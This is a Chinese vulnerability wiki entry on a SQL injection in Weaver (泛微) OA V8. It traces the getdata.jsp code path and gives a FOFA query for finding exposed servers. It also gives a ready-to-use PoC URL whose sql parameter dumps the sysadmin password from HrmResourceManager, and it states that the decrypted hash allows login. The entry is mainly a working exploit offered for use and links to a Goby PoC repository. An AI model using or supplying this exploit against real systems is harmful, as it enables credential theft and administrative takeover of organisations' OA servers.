# 泛微OA V8 SQL注入漏洞

### 漏洞描述 <a href="#lou-dong-miao-shu" id="lou-dong-miao-shu"></a>

泛微OA V8 存在SQL注入漏洞，攻击者可以通过漏洞获取管理员权限和服务器权限

### 漏洞影响 <a href="#lou-dong-ying-xiang" id="lou-dong-ying-xiang"></a>

&#x20;Note

泛微OA V8

### FOFA <a href="#fofa" id="fofa"></a>

&#x20;Note

app="泛微-协同办公OA"

### 漏洞复现 <a href="#lou-dong-fu-xian" id="lou-dong-fu-xian"></a>

在getdata.jsp中，直接将request对象交给

**weaver.hrm.common.AjaxManager.getData(HttpServletRequest, ServletContext) :**

方法处理

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm0EXDsKiuDpPeruVH%2F-Mhm2twLEiOgqrbOBatd%2Fimage.png?alt=media\&token=860d3e74-1ffd-43d2-b675-758d423fb012)

在getData方法中，判断请求里cmd参数是否为空，如果不为空，调用proc方法

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm0EXDsKiuDpPeruVH%2F-Mhm2x0KLNDllp_XN97Y%2Fimage.png?alt=media\&token=06215c20-1505-4add-955f-78aad59bafce)

Proc方法4个参数，(“空字符串”,”cmd参数值”,request对象，serverContext对象)

在proc方法中，对cmd参数值进行判断，当cmd值等于getSelectAllId时，再从请求中获取sql和type两个参数值，并将参数传递进getSelectAllIds（sql,type）方法中<br>

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm0EXDsKiuDpPeruVH%2F-Mhm30bX0L31_VtmD96T%2Fimage.png?alt=media\&token=089ebfa2-d30b-4b6e-b5d5-89b94304af22)

根据以上代码流程，只要构造请求参数

?cmd= getSelectAllId\&sql=select password as id from userinfo;

即可完成对数据库操控

POC

```
http://xxx.xxx.xxx.xxx/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20password%20as%20id%20from%20HrmResourceManager
```

查询HrmResourceManager表中的password字段，页面中返回了数据库第一条记录的值（sysadmin用户的password）

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm0EXDsKiuDpPeruVH%2F-Mhm3444qvZWqqQ5yLAd%2Fimage.png?alt=media\&token=6d10b977-8e34-4b18-8adf-733213516a6e)

解密后即可登录系统

![](https://4279400230-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MgxNkYa2vR6HNnHdkjg%2F-Mhm0EXDsKiuDpPeruVH%2F-Mhm39D709tUd74yqYIX%2Fimage.png?alt=media\&token=7334c43b-c7b9-45cf-b220-2da83ef6ef9b)

### Goby & POC <a href="#goby--poc" id="goby--poc"></a>

已上传 <https://github.com/PeiQi0/PeiQi-WIKI-POC> Goby & POC 目录中

Weaver OA 8 SQL injection